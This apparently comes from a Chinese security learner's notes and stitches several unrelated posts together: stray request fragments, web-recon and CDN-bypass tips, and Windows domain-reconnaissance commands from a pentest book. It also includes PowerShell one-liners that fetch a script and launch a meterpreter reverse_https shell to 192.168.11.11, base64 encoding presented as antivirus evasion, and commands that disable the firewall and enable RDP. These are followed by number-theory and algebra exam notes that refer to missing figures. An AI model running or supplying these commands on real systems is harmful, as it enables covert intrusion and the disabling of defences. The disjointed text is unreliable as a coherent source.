method:”post”

http.post(“

$.ajax

http://service.httppost

http://service.httpget

标签名称地址
FUZZ测试ffuf(好用)https://github.com/ffuf/ffuf
匹配插件Haehttps://github.com/gh0stkey/HaE
JS提取JSFinder(弃用)https://github.com/Threezh1/JSFinder
JS提取爬虫URLFinder(比上面的好用)https://github.com/pingc0y/URLFinder
WebPack分析Packer-Fuzzerhttps://github.com/rtcatc/Packer-Fuzzer
JS匹配插件BurpAPIFinder(bp插件,相当推荐)https://github.com/shuanx/BurpAPIFinder
JS提取LinkFinderhttps://github.com/GerbenJavado/LinkFinder
WebPack分析jjjjjjjjjjjjjs(好用)https://github.com/ttstormxx/jjjjjjjjjjjjjs
JS提取爬虫FindSomething(好用)https://github.com/momosecurity/FindSomething
JS匹配插件Unexpected_informationhttps://github.com/ScriptKid-Beta/Unexpected_information
FUZZ字典字典集合https://wordlists.assetnote.io

步骤:

1、F12检查中的“源代码/来源”处,找到一些JS文件然后搜一些关键词,如搜“src=”,如“$.ajax”等,发现接口能上传就考虑文件上传,能无密码访问就是未授权。

2、通过URLFinder等工具、插件找敏感信息。

3、遇到webpack打包器的,使用jjjjjjjjjjjjjjjjjjs下载分析。


cdn配置:

1、加速域名:

加速的域名若没包括子域名,则访问子域名是真实资产。如只加速了www.baidu.com没加速blog.baidu.com,此时解析blog.baidu.com获取真实ip

2、加速区域:

可以选择仅中国内地;全球;全球(不包含中国内地) //若没有加速国外,则使用除了内地外的ip去ping能ping到真实ip,但目前国内运营商加上了中间设备进行多次跳转,该方法失效。

3、加速资源:

可以选择加速文件类型,如

4、加速证书:

证书记录-SSL查域名解析记录,获取真实ip

历史DNS解析记录,获取真实ip //网站起初没使用cdn时,真实ip解析过域名且没更换


CDN绕过找真实IP

1、ping子域名

2、国外ip ping域名 //使用网络拨测工具 https://boce.aliyun.com/detect/

3、超级ping //http://17ce.com https://ping.chinaz.com

4、利用网站功能请求攻击机的ip //如文件上传,能输入图片地址。服务器主动访问使用的是真实ip

5、邮件

操作步骤:服务器主动暴露真实IP,如发送重置密码邮件。查看邮件原文能看到发件人的ip

但是有两个问题:邮件是第三方代发;邮件服务器和服务器关系不大;

ICO图标:

1、某个应用系统的标示

2、某个公司/机构/个人团队的标示

#Python-开发框架-Django&Flask

Django

1、识别插件

2、固定的数据包格式:Set-Cookie:expires=

Flask

1、识别插件

2、固定的数据包格式:Etag: “flask X-Powered-By: Flask

Tornado

1、识别插件

2、固定的数据包格式:Server: TornadoServer

#JavaScript-开发框架-Vue&Node.js

Vue

1、识别插件

2、JS语法和加载文件

Node.js

1、识别插件

2、固定的数据包格式:ETag: W/”

#PHP-开发框架-ThinkPHP&Laravel&Yii

ThinkPHP:

0、识别插件

1、X-Powered-By: ThinkPHP

2、CMS识别到源码体系TP开发

Laravel:

1、识别插件

2、Set-Cookie中特征的格式 XSRF-TOKEN= laravel_session=

Yii:

1、识别插件

2、Set-Cookie中特征的格式 YII_CSRF_TOKEN=

#Java-框架组件-Fastjson&Shiro&Solr&Spring

52类110个主流Java组件和框架介绍:

https://blog.csdn.net/agonie201218/article/details/125300729

框架:

Struts2

一般使用struts2框架后缀带do或action,可以尝试进行利用

SpringBoot

1、默认web应用标签小绿叶图标

2、通过springboot框架默认页面

3、ICO源码体系采用SpringBoot开发

组件:

FastJson/Jackson

在提交JSON数据包中修改测试:

-FastJson组件会把01解析成1

-Jackson组件在解析01时会抛出异常

https://forum.butian.net/share/1679

Shiro

请求包的cookie中存在rememberMe字段。

返回包中存在set-Cookie:remeberMe=deleteMe。

请求包中存在rememberMe=x时,响应包中存在rememberMe=deleteMe。

有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可,将Cookie内容改为remember Me=1,若相应包有rememberMe=deleteMe,则基本可以确定网站apache shiro搭建的。

Solr识别

一般开放8983端口,访问页面也可以探针到

#工具使用:

https://github.com/projectdiscovery/nuclei

内网安全攻防(二)

内网信息收集

既然是研究内网了,相当于是说我们已经拿到一台机器,判断它所处的位置(逻辑),分析它的身份(上是否是内网里的机器,是什么样的机器)。。。。。

主要思考三个方面:
1.当前机器的角色
web服务器;开发测试服务器;公共服务器;文件服务器;代理服务器;DNS服务器;存储服务器
2.当前机器所处网络环境的拓扑结构

3.当前机器所处的区域

收集本机信息

一、手动搜集

搜集本机:os;权限;内网IP地址段;杀毒软件;端口;服务;补丁更新频率;网络连接;共享;会话

假设拿到一台主机是Windows操作系统

1.查询网络配置:
ipconfig /all

2.查询操作系统及软件的信息
查询os和版本信息
systeminfo | findstr /B /C:”OS Name” /C:”OS Version”
如果是中文版os
systeminfo | findstr /B /C:”OS 名称” /C:”OS 版本”

查系统体系结构
echo %PROCESSOR_ARCHITECTURE%

查询安装的软件以及版本
wmic product get name,version
如果使用powershell来查
powershell “Get-WmicObject -class Win32_Product |Select-Object -Property name,version”

3.查询本机服务
wmic service list brief

4.查询进程列表
查看进程用户,分析软件,邮件客户端,VPN,杀软等
tasklist
查看进程信息
wmic process list brief

5.查看启动程序信息
wmic startup get command,caption

6.查看计划任务
schtask /query /fo LIST /v

7.查看开机时间
net statistics workstation

8.查看用户列表
net user
通过分析用户列表,总结出内网机器的命名规则,于是可以推出其他机器的名称,进而知道整个域

获取本地管理员信息
net localgroup administrators

看当前在线用户
query user || qwinsta //测试不成功

9.列出或者断开本地计算机与所连接的客户端之间的会话
net seesion

10.查看端口
netstat -ano //端口信息可以参考之前关于信息收集文章中的端口

11.查看补丁
systeminfo

查看安装在系统的补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn

12.查询本机共享列表
net share

或者用
wmic share get name,path,status

13.查询路由表以及可用接口的ARP缓存表
arp -a

14.防火墙
关闭win2003之前的防火墙:netsh firewall set opmode disable
关闭win2003之后的防火墙:netsh advfirewall set allprofiles state off

查看防火墙配置
netsh firewall show config

修改防护墙配置
win2003之前:netsh firewall add allowedprogram c:\nc.exe “allow nc” enable
win2003之后:
(1)允许指定程序进入
netsh advfirewall firewall add rule name=”pass nc” dir=in action=allow program=”C: \nc.exe”
(2)允许指定程序退出
netsh advfirewall firewall add rule name=”Allow nc” dir=out action=allow program=”C: \nc.exe”
(3)允许3389(远程登陆)放行
netsh advfirewall firewall add rule name=”Remote Destop” protocol=TCP dir=in localport=3389 action=allow
(4)自定义防火墙日志存储位置
netsh advfirewall set currentprofile logging filename “C: \window\temp\fw.log”

15.查看代理配置
reg query “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings”

16.查看并开启远程服务
查看远程连接端口
REG QUERY “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /V PortNumber

在windows server2003开启3389
wmic path win32_terminalservicesetting where (__CLASS !=””) call setallowtsconnections 1
在Windowsserver2008 windows server2012开3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !=””) call setallowtsconnections 1

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName=’RDP-Tcp’) call setuserauthenticationrequired 1

reg add “HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

可以看到,我们可以通过工具或者脚本让上述方法更加便捷,下面介绍一个利用WMIC收集目标机器信息的脚本:
WMIC(windows management instrumentation command-Line).一般XP的地权限用户不能访问WMIC,win7以上的低权限用户允许访问WMIC并执行查询

二、查询当前权限

1.查询当前权限
whoami
如果当前内网存在域,那么本地普通用户只能查看本机相关的信息不能看域内信息。
但是本地管理员用户和域内用户可以查询域内信息,因为域内所有查询通过域控制器DC,是经过权限认证的,域内用户拥有权限,使用Kerberos协议认证。本地管理员权限可以提升为Ntauthority或System权限(都比administrator权限高)。
我们知道,在域中除了普通用户之外,所有机器都有一个机器用户(用户名为 机器名+”$”)

2.查询域SID
whoami /all

3.查询指定用户的详细信息
net user xxx /domain

三、判断是否存在域

1.使用ipconfig命令搜集信息
ipconfig /all
然后通过nslook解析域名的ip地址,比对看看域控制器和DNS服务器在不在同一台设备

2.查看系统详细信息
systeminfo

3.查看当前登录域以及登录用户信息
net config workstation

4.判断主域
net time /domain //该命令用来判断,会产生一些结果,域服务器通常同时作为时间服务器使用
(1)存在域,但当前用户不是域用户
(2)存在域,当前用户是域用户
(3)不存在域,当前是工作组

四、探测域内存活主机

1.利用NetBIOS探测内网
2.利用ICMP协议探测内网
3.ARP扫描探测内网
4.通过常规TCP\UDP端口探测内网

五、扫描域内端口

关注三点:
端口上的banner信息
端口上运行的服务
常见的默认端口(见以往文章)

扫的话就是用工具扫

六、搜集域内信息
假设我们知道内网存在域并且控制的机器在域内

1.查询域:
net view /domain

2.查询域内所有计算机
net view .domain:XXX //xxx指的是域的名
我们可以根据主机名来判断主机角色:
dev:可能是开发服务器
web、app:可能是Web服务器
NAS:可能是存储服务器
fileserver:可能是文件服务器

3.查询域内所有用户列表
net group /domain
系统自带常见用户身份:
domain admins:域管理员
domain computers:域内机器
domain controllers:域控制器
domain guest:域访客,权限低
domain users:域用户
enterprise admins:企业系统管理员用户
【domain admins和enterprise admins对域控制器有完全控制权限】

4.查询所有域成员计算机列表
net group “domain computers” /domain

5.获取域密码(密码策略、长度、错误锁定等)
net accounts /domain

6.获取域新人
nltest /domain_trusts

七、查找与域控制器

1.查看域控制器的机器名
nltest /DCLIST:XXX //XXX是域的名称

2.查看域控制器的主机名
Nslookup -type=SRV _ldap._tcp

3.查看当前时间
net time /domain(通常时间服务器是主域控制器)

4.查看域控制器组
net group “Domain Controllers” /domain
下面命令看到域控制器名字
netdom query pdc

八、获取域内的用户和管理员信息

1.向域控制器进行查询
net user /domain

2.获取域内用户的详细信息
wmic useraccount get /all

3.查看存在的用户
dsquery user

4.查询本地管理员组用户
net localgroup administrators

—查询域管理员用户组
1.查询域管理员用户
net group “domain admins” /domain

2.查询管理员用户组
net group “Enterprise Admins” /domain

九、定位域管理员
书本提到内网测试跟渗透测试是截然不同,内网测试是针对内网中特定用户或机器的权限,获取特定的资源

当设备被添加到域中,域管理员会自动添加到本地管理员组,获得完全控制权限,有时候一台设备在自己的域中不是管理员,但是可能是其他域的管理员,所以我们要寻找具有管理员权限的用户。
定位域内管理员的方式:
1.日志
2.会话

常用域管理员定位工具:
psloggedon.exe;PVEFindADUser.exe;netsess.exe;hunter;NetView

十、查找域管理进程

—本机检查

1.获取域管理员列表
net group “Domain Admins” /domain

2.列出本机所有进程以及进程用户
tasklist /v

3.寻找进程所有者为域管理员的进程

—查询域控制器的域用户会话

1.查询域控制器列表
net group “Domain Contorllers” /domain

2.收集域管理员列表
net group “Domain Admins” /domain

3.收集所有活动域的会话列表
使用Netsess.exe查询每个域控制器,使用下面命令:
NetSess -h

4.交叉引用域管理员列表与活动会话列表

—查询远程系统中运行的任务

—扫描远程系统的NetBIOS

十一、使用powershell收集域信息
在上一篇文章,也就是内网(一)提到过powershell用法

十二、使用域分析工具BloodHound


内网安全攻防(一)

前面文章学习的渗透环节,或者打的DC-1靶场到了提权就结束,没有对后渗透再进行描述和联系。而在实际中对某个目标造成影响更大的我想是后渗透阶段,关注内网安全是每个单位的重中之重,为了拓宽知识面,我购买阅读《内网安全攻防-渗透测试指南》一书进行学习。

内网渗透测试基础

内网一般可以指局域网(local area network),是封闭的。

在Dr.Lee的课程上,在以windows2012R2为例子学习服务器时,就介绍过内网相关的知识。提到了几个名词:工作组、域、域控制器、父域、域树、域森岭、活动目录、DMZ等。

当年presentation的时候我曾向其他同学介绍过活动目录,但今天已经忘记了相关内容。因此本次学习既是对以往知识的回顾,也是让自己对内网安全更熟悉。

下面是对这些名词的解释:

1.工作组work group
根据职能给不同的计算机划分组别,方便管理。我们电脑上的网上邻居不常使用,在里面能看到同一工作组的设备。工作组中的设备身份对等,可以自由访问。

2.域domain
域是一个有安全边界的计算机集合,一个域中计算机无法访问其他域。
域控制器domain controller是域中的管理服务的计算机,域中计算机要互相访问需要经过域控制器审核。在Dr.Lee课程的实验里,我们需要把服务器变成域服务器,才能增加role或者修改一些规则。域控制器是域的通信枢纽,域内所有用来验证身份的账号和密码散列值都保存在域控制器中。因此我认为这些信息类比shadow文件一样,如果能利用那么就能进行权限的获取。
域中的环境:
a.单域:
要求至少两台域服务器,一台存储活动目录,一台备份。
b.父域和子域:
类比父子节点的关系。每个域可以制定自己的安全策略。
c.域树tree:
域树,是不同域之间通过信任关系(trust relation)组合的集合。域管理员一般智能管理本域的资源,如果两个域需要访问,要建立信任关系。
注意在一个域树里父域包含多个子域,而子域是相对于父域说的,指的是域名中的每一个段,各个子域之间用“.”隔开代表层次。以下面的域名作为例子,放在域名最后的子域称为最高级子域或者一级域,它前面的子域是二级域
asia.abc.com
abc.com
后者比前者高级。读域名应该从后往前看,”.com”是顶级域名,它的子域名是“.abc”,所以说“asia.abc.com”是“abc.com”的子域。
d.域森岭forst
多个域树通过建立信任关系组成的集合。如abc.com跟abc.net不是同一个域树,通过建立信任关系通信。
5.DNS域名服务器
面试常考,用处就是实现域名和IP地址的转换。一般域的名字就是DNS域的名字。在内网渗透测试中,大都是通过寻找DNS服务器来确定域控制器位置,而DNS服务器和域控制器通常配置在同一台机器上

3.活动目录active directory AD
活动目录指的是域环境中提供目录服务的组件。
使用它的目的是方便企业在网络环境中集中式管理。目录存储着有关网络对象的信息。跟我想的一样,活动目录其实就相当于索引,方便我们快速查找资料。
活动目录的逻辑结构,在Dr.Lee课程上也讲过分为组织单元OU、域、域树、域森岭。

【域控制器和活动目录的区别】:当网络规模大,里面的资源信息存储在某种数据库,就是活动目录数据库[AD库],当内网中有一台机子安装AD那么它就变成DC。

4.安全域
根据安全等级对计算机进行划分到不同网段。通过防火墙来进行访问控制。

安全域

如上图分为外网、DMZ、内网。DMZ是一个非安全与安全之间的缓冲区。
DMZ中一般有必须对外的服务器,如WEB、FTP、IPS、IDS等。DMZ只能从外部访问

如上述三层结构,需要通过配置安全策略实现屏障的功能。
内网可以访问外网; //防火墙需要执行NAT
内网可以访问DMZ;
外网不能访问内网; //除非是用VPN
外网可以访问DMZ;
DMZ不能访问内网;
DMZ不能访问外网;

而对于内网,又分为办公区和核心区:
办公区:是攻击者进入内网的重要途径
核心区:能访问该区域的只有管理员和运维人员

5.域中计算机分类:
域控制器
成员服务器
客户机
独立服务器

6.域内权限
域本地组、全局组、通用组
不管是学习还是实践操作经常看到本地组策略这个名词,忘了是那个版本的os家庭版没有该功能,貌似是win10,要通过一些方法修改之后能唤出该策略。
书中给了一句口诀:“域本地组来自全林,作用于本域;全局组来自本域,作用域全林;通用组来自全林,作用于全林。”
A-G-DL-P策略:将用户账号添加到全局组,把全局组添加到域本地组中,之后为域本地组分配资源权限,方便管理。
A.用户账号 account
G.全局组 global group
U.通用组 universal group
DL.域本地组 domain local group
P.资源权限 permission

书中介绍了几个重要的域本地组权限:
管理员组administrator:
远程登录组remote desktop users:
打印机操作员组print operators:
账号操作员组account operators:
服务操作员组server operators:
备份操作员组backup operators:


重要的全局组、通用组权限:
域管理员组domain admins:
企业系统管理员组enterpri admins:
架构管理员组schema admins:
域用户组:domain users:

WINDOWS POWERSHELL

1.ps1文件:
powershell脚本是一个简单的文本文件,扩展名为“.ps1”

2.执行策略:
默认情况下,为了保护不受恶意操作者影响,执行策略被设置为不能运行。
当我们的powershell脚本不能运行,首先使用cmdlet命令查询当前执行策略
下面是能选择的策略:
Get-Execution Policy
Restricted
RemoteSigned
AllSigned
Unrestricted
通过使用 Set-ExcutionPolicy <policy name> 来设置powershell执行策略

3.运行脚本
注意,运行powershell脚本需要完整输入路径和文件名。如“C:\Scripts\a.ps1”

4.管道
以前一个输入的结果作为 | 后的输入
例:让所有以P开头的程序停止运行“PS>get-process p* | stop-process”


POWER SHELL常用命令(不区分大小写)

1.基本知识
新建目录:New-ltem whitecellcliub-ltemType Directory
新建文件:New-ltem light.txt-ltemType File
删除目录:Remove-ltem whitecellclub
显示文本内容:Get-Content test.txt
设置文本内容:Set-Content test.txt-Value “hello,world!”
追加内容:Add-Content light.txt-Value “bobo”
清除内容:Clear-Content test.txt

2.命令
首先,要执行powershell命令,在cmd输入“powershell”进入环境。若要运行powershell脚本程序,用管理员权限将策略从Restricted变成Unrestricted

(1)绕过本地权限并执行
首先先把PowerUp.ps1上传到目标服务器,然后在目标服务器执行:
PowerShell.exe -ExecutionPolicy Bypass -File PowerUp.ps1

将同一个脚本上传到目标服务器,在目标本地执行脚本文件:
powershell.exe -exec bypass -Command “& {Import-Module c:\PowerUp.ps1;Invoke-AllChecks}”

(2)从网站服务器下载脚本,绕过本地权限并隐藏执行
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString(“xxx.ps1”);[parameters]

最终执行:
PowerShell.exe -ExecutionPolocy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNe.WebClient).DownloadString(“<xxxxxxxx>”);Invoke-Shellcode -Payload windows/meterpreter/reverse_hyyps-Lhost 192.168.11.11 -Lport 80

解释一下参数:
execution policy bypass(Exec Bypass):绕过安全策略
windowstyle hidden:隐藏窗口
noninteractive(NonI):非交互模式,powershell不提供与用户的交互
noprofile:(-NoP):powershell不加载当前用户的配置文件
noexit:执行后不退出shell //在使用键盘记录等脚本的时候非常重要
NoLogo:启动时不显示版权标志的powershell

(3)使用base64编码powershell进行免杀
由于脚本里有特殊字符,不进行编码混淆压缩的话可能会被杀软杀掉。用python脚本加密,注意转换的对象必须是文本文件,所以要先把命令保存成文本文件
echo “IEX(New-Object Net.WebClient).DownloadString(‘<xxxxxx>’) ;Invoke-Shellcode-Payload windows/metererter/reverse_https-Lhost 192.168.11.11 -Lport 80 -Force” >raw.txt

给加密的脚本文件权限:
chmod +x ps_encoder.py

使用加密脚本封装:
./ps_encoder.py -s raw.txt

之后就会得到编码之后的命令文本,记为X然后在远程主机执行:
Powershell.exe -NoP -NonI -W Hidden -Exc Bypass -enc X


关于32位和64位的powershell:
32:Powershell.exe -NoP -NonI -W Hidden -Exec Bypass
64:%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exc Bypass // 64的配置文件在路径%WinDir%\syswow64\windowspowershell\v1.0\

信息安全数学基础

作者:贾春福

第三章 同余

同余式中除法的性质:
1.一般的,若ac≡bc(mod m),且(c,m)=d,则a≡b(mod m/d)
2.当c|m,(c,m)=c,ac≡bc(mod m)→a≡b(mod m/c)
3.当(c,m)=1,ac≡bc(mod m)→a≡b(mod m)

[剩余类和剩余系]
剩余类:假设给定一个整数M,我们知道mod M的结果是 0到M-1,假如设定一个整数R,那么所有mod M之后等于R的整数构成一个集合,这个集合叫做模M的一个剩余类记为CR,剩余类是有限的。以M=5为例子,他就有C0,C1,C2,C3,C4,在每一个剩余类中任意一个整数可以叫做代表元,比如C1就可以用6做代表元

还是以M=5为例子,从C0到C4分别找一个代表元,这些代表元组成一个集合,叫做模M的一个完全剩余系(完系),注意,完系中的元素两两模M不同余

[欧拉定理和费马小定理]
欧拉函数:一个整数M,M的所有剩余类中与M互素的剩余类的个数。
以M=6作为例子,在模6的剩余类我取 {0,1,2,3,4,5},可以看到1,5跟6互素,所以6的欧拉函数是2.
对于素数的欧拉函数,是素数-1.比如M=7,7的欧拉函数=(7-1)=6
记得0跟任何数不互素,1的欧拉函数是1,2的欧拉函数是1,3的欧拉函数是2

[缩系/简化剩余系]:在与M互素的剩余类中找代表元组成的集合(元素个数是M的欧拉函数)
比如模6的缩系是{1,5}

[欧拉定理]:M>1,(a,m)=1,有 aφ(M)≡1 mod M

[费马小定理]:P是素数,对任意整数a,有 aP≡a mod P

φ(m1,m2)= φ (m1) φ (m2) //当m1,m2互素

φ (m)=m·(1-1/pi) //如 φ (240)= φ (24·3·5)=240·(1-1/2)(1-1/3)(1-1/5)=64

[扩展欧几里得]:用来求乘法逆元的,比如一份a要摸m得到1,即求a的乘法逆元a-1
a-1a≡1 mod m
方法如下图

【例】a=4,m=9
ri qi si ti
9 – 1 0
4 2 0 1
1 4 1 -2
0
∵(r0,r1)=snr0+tnr1=9×1+4×(-2)=1
∴4≡7 mod 9
【n为ri=0的上一个i】

[威尔逊定理]:P是一个素数,则(p-1)!≡-1 mod P

[线性同余方程]:f(x)≡0 mod m
若f(x0)≡0 mod m 则x≡x0 mod m,x0称为解
求解时,依次把数字(0至m-1)带入,如果算出的结果mod m 之后为0,就有解否则无解。

求解同余方程:

若m>1,(a,m)=d>1,d|b是同余方程ax≡b mod m的充要条件,如果有解,解的个数是d,
如果x≡x0 mod m,是特解,那么它的d个解为:x≡x0+(m/d)t mod m,t=0,1….d-1

[例题]:

[中国剩余定理]:

例子

以上图为例子
1.先计算m
m=m1+m2+m3+m4
2.再计算出M1,M2,M3,M4,M5,M6
Mi=m/mi //如M1=m/m1
3.然后计算M’,注意M·M’≡1 mod mi
4.计算方程组的解:x≡M1M’1b1+M2M’2b2+…+M4M’4b4 mod m


[同余方程组]:

解题思路是:
1.求d=(m1,m2)
2.求b1-b2
3.若d|b1-b2,有解且解模数为 [m1,m2]
4.后续计算如例子:
假设方程组为
x≡5 mod 12
x≡11 mod 18
d=(12,18)=6,b1-b2=5-11=-6,6|-6,所以有解,模数为[12,18]=36
令x=5+12k,然后带入x≡11 mod 18中得
5+12k≡11 mod 18
12k≡6 mod 18 //可以两边除去6得
2k≡1 mod 3 //求出k为2
K=2+3k //把新求出的K带入x≡5 mod 12k 中得
x≡5+12(2+3k) //化简后得
x≡29+36k mod 36
x≡26 mod 36 //此为方程组的解,若下面还有式子,用本条继续使用同样的方法算。

下面一个例子:

例子

第四章 原根与指数

[次数]:因为aφ(m)≡1 mod m,当a得l次幂≡1 mod m,l< φ(m) ,就说l是a对模m得次数

记作ordm(a)

找次数就可以一个个试,从i=1试到i=m-1,如下图

当存在一个整数n是ordm(a)得整数倍,即 ordm(a) |n,有an≡1 mod m

次数的一些性质,如下图

由于次数有以上性质,所以计算的时候可以简化,例子如下:

信安数学得知识虽然底层但是十分重要,之前学了怎么求同余方程,下面的知识点,在求指数上派上用场

求s和t就不难算

下面是求an模m得次数求法,是之前学过的推广,如下图

下面是一些性质,重要


【原根】:

要判断原根的方法:

下面是很重要的知识点,如果一个数有原根,那么原根数量是知道的,如下图

怎么判断一个数有没有原根呢?如下图:

原根存在条件!!!

找原根的方法,如下图:

如图,我们找到m得欧拉函数中的所有素因子

从2开始试,直到找到所有g不恒等1的元素,他们就是原根,举例子:

找到一个最小的原根了,下面是要把所有的原根找出来,方法是找到φ(m)=40的缩系,然后把里面的元素挨个放到6头上算,就能得到所有原根,如下图:

找到了缩系

[指数与高次剩余]

指数也叫离散对数




也就是用到4.1.3的知识,注意涉及指数,会频繁使用mod φ(m),比如下面的定理

与一般的指数,对数思路一样,可以得到一些性质方便计算,如下:

下面是几个重要的定理,用于计算:


下面是求n次剩余

下面求二次剩余

下面是求同余方程的例子:

第五章 二次剩余

定义如下图

求解二次同余方程的例子:

梳理一下解题思路:
1.首先求d,也就是用中学的判定条件来算,d=b2-4ac //在这里是(-6)2-4×5×2=-4
2.然后设 y2≡d mod m //这里是y2≡-4,而-4≡9 mod 13,所以y2≡-4≡9 mod 13
3.根据上面的式子求出y的解,y1,y2 //这里是解出y的解是3,10,因为3×3=9,模13是9,10×10=100,模13是9
4.列出2ax≡y-b mod m的式子 // 这里是2×5=10,y的解是3和10,所以y-b是3-(-6)=9,10-(-6)=16
即 10x≡9 mod 13 ; 10x≡16 mod 13

5.根据x≡x0=(2a)-1·(y-b)算出解 //这里2a是10,所以算出10模13的乘法逆元是4,因为4×10=40,40≡1 mod 13,y-b是9和16,x的解是4×9=36≡10 mod 13;4×16=64≡12 mod 13

也相当于对m素因数分解,x2≡a(mod pi),pi是m的素因数

判断二次剩余和二次非剩余的方法:
【欧拉判别条件】:如下图

对于模p的二次剩余以及二次非剩余的个数,可以用下面定理求出,如下图:

[勒让德符号]:便于我们计算二次剩余判别式

下面是勒让德符号的一些性质:

下面写一道例题,如下图

把-46拆成-1×46,因为17 mod 4 为1,所以(-1/17)=1;然后算(46/17),46≡12 mod 17,再把12分解成3×4,因为4可以写成22,而平方数的勒让德符号肯定为1,结果化简为(3/17),根据判别式得出结果

下面是常用的结论:

也可以写成
1 p=8m±1
-1 p=8m±3

当a=奇数的时候

下面算一个例子:计算(6/53)
因为6可以写成2×3所以原式子改成(2/53)(3/53),因为53=8×7-3,所以原式子写成-(3/53),因为此时a=3是奇数,用定理5.2.6,计算出(53-1)/2=26,即计算(ak)/p,k从1取到26.注意到没必要全部算完,(ak)/p是要向下取整的,知a=3时,3×17=53,所以当1<=k<=17的时候,结果是0
当18<=k<=35(因为3×35是53的两倍)的时候,结果是1.对于这个题相当于从k=18开始到k=26一共是9个1相加,因此算的这一串结果是1,所以原式子变成(-1)(-1)=1

下面是一个推论,整数a,b都与p互素,那么有

[高斯引理]:

对于a是奇数时运算太复杂,此时我们可以用二次互反律来求解,如下图

二次互反率,使用时记住当q和p都奇素数的时候才行

【雅可比符号】对勒让德符号的展开

使用雅可比符号,m要是正奇数(不是奇素数)注意,雅可比符号的一些性质:

类似勒让德符号运算,雅可比符号有:

雅可比符号二次互反律跟勒让德符号计算一样:

记住,勒让德符号p、q都是奇素数,雅可比符号m是正奇数。

归纳一下如何计算勒让德符号:
1.首先看p、q都是奇素数
2.当q超过p的一般,考虑取q-p作为新的q,此时q是负数
3.将(-1/p)提出来,根据5.2.3,判断(p-1)/2
4.将q分解成a×b,如果a或者b是2,根据5.2.5判断(p2-1)/8
5.若a或者b是奇数,利用二次互反律求出
6.得出结果,注意细心检查

下面是两道例题:

好难,我跳过,进行第六章的学

第六章: 群

【半群】

当班群满足一些条件,他就是群

需要记忆的一些集合!

下面是一些定理:

下面是判断群的阶

判断阶

下面是阿贝尔群的定义

————–注意,之后用“1”表示群的单位元,用a-1表示a的逆元 ————-

因为存在唯一的逆元,所以当对式子ax=b等号两边同时乘上a-1,x=a-1b,因此是唯一的

下面是群中元素的性质:

下面是关于阶的定义

注意,这里的“1”是指群的单位元!

下面是例子

定理:


[子群]:

{1}和G本身,是G的平凡子群

下面是一个定理:

[正规子群]:

下面是定理:


[循环子群]:

[循环群]:

与讨论原根相似,通过一些条件可以判断生成元,如下:

也就是说找到一个与n互素的k,ak就是G的生成元

6.3.2也就是说当找到这个k的时候,G就可以表示成G=<ak>即G=<1,(ak),(ak)2…(ak)n-1>如果有生成元,数量也是知道的,如下

下面是一些定理:

云里雾里,书本写到了由给定子群构造新的子群

下面是研究如何从给定的子集推出子群

下面是定义

引申的定理

实在是顶不住了,这本书里面的知识点太难懂,我去b站看视频学
【循环群】:群G中每个元都能表示成一个 a的方幂,那么G就是由a生成的循环群,记G=<a>,a是生成元。
【培集与商群】:群和子群是有很多关系的
[左培集]:

G中一个元素a和G的一个子群H组成的aH是H的左培集

aH是一个集合,里面的元素是G中任何元素a跟

[左培集关系]

【拉格朗日定理】

人话就是,如果H是G的子群,那么H的阶数是G的阶数的因子,

[商集和指标的概念]

下面是几个定理:

商群:


【同态和同构】

解释上图,“·”和“*”都是表示乘法,映射是x中每一个都能在y找到对应的结果,可以多个x对应一个y,但是不能一个x对应多个y。 从b站视频学习到其中需要 保持乘法
简单地说就是f(x1·x2)的结果在y里能找到,f(x1)*f(x2)的结果也能在y找到,并且这两个结果一样

回忆单射满射:
单射,x与y一一对应
满射,y中所有都被映射
双射,即单射又满射


下面是定理:

下面是同态的核跟像的概念,看下面截图

解释上图,首先f(a),表示在G中找到了S的映射。那么所谓的核,指的是先从G找到G的单位元,然后在S中找到是哪个元素映射出的,这个来自S的元素就是ker f,核
像,就是在G中找到每个S映射过来对应的元素。

下面是一些定理:

下面是一些重要定理,需要用到6.2.3正规子群的概念,如下

[同态基本定理]

第七章 环

环,是具有两种运算的代数结构

子环的概念:

零因子概念:

下面是一些定义:

如上图,后面默认环都是交换幺环。注意,因为是半群,有了幺元不能有逆元,否则就变成群了。 阿贝尔群就是交换群的意思。

下面是一些性质:


下面是运算时的一些定理

下面是一些定义

同态方式跟群的方式一样,只不过是加跟乘都要算

[环上多项式]

【常多项式】:只含有常数项的多项式的集合该集合里的元素被称为常多项式


【理想和商环】

通俗来说就是找一个比R小的环I,RI包含于R,从R和I中找r和i,ri∈I

理想类似群的培集

死记硬背!

这道题,首先构造4个元素,死记硬背“0”、“1”、“x”、“x+1”
不可约多项式,死记硬背x2+x+1,并且Z2表示结果mod 2,所以加法出现2就会被mod 掉消失。而在乘法中,不能出现x2,当出现时要“-”不可约多项式 x2+x+1 ,比如x×x=x2,此时减去不可约多项式之后mod 2 为x+1.

如果构造9个元素, 0,1,2,x,x+1,x+2,2x,2x+1,2x+2,其中不可约多项式是x+1

看不下去了,下面直接第八章

第八章 域

【域上多项式】

判断多项式是否可约:

第九章 椭圆曲线

以作业例题为例子解析:

首先死记硬背:y2≡x3+ax+b

然后题目会给出Ep(a,b),如例题:

其中p=17,意思要mod 17,点(1,1)表示a=1,b=1,代入式中: y2≡x3+x+1

算出mod 17的二次剩余,有(p-1)/2个二次剩余即(17-1)/2=8个,所以y从±1算到±8,得出对应的二次剩余,用y2 mod17来算得到1,2,4,8,9,13,15,16这8个数。

然后根据0到p-1也就是0到17-1=16来找x对应的y2=x3+x+1的数,从这些数中找到mod 17的二次剩余,如在第二个表中的y2=1,在第一张表里y2对应的y是±1,然后找到对应的x,比如y2=1的x=0,那么点就是(0,±1)。同理,找到符合的所有x,随后找出所有的点。

找到所有的点后,还要加上“无穷远点O”

希望考试顺利!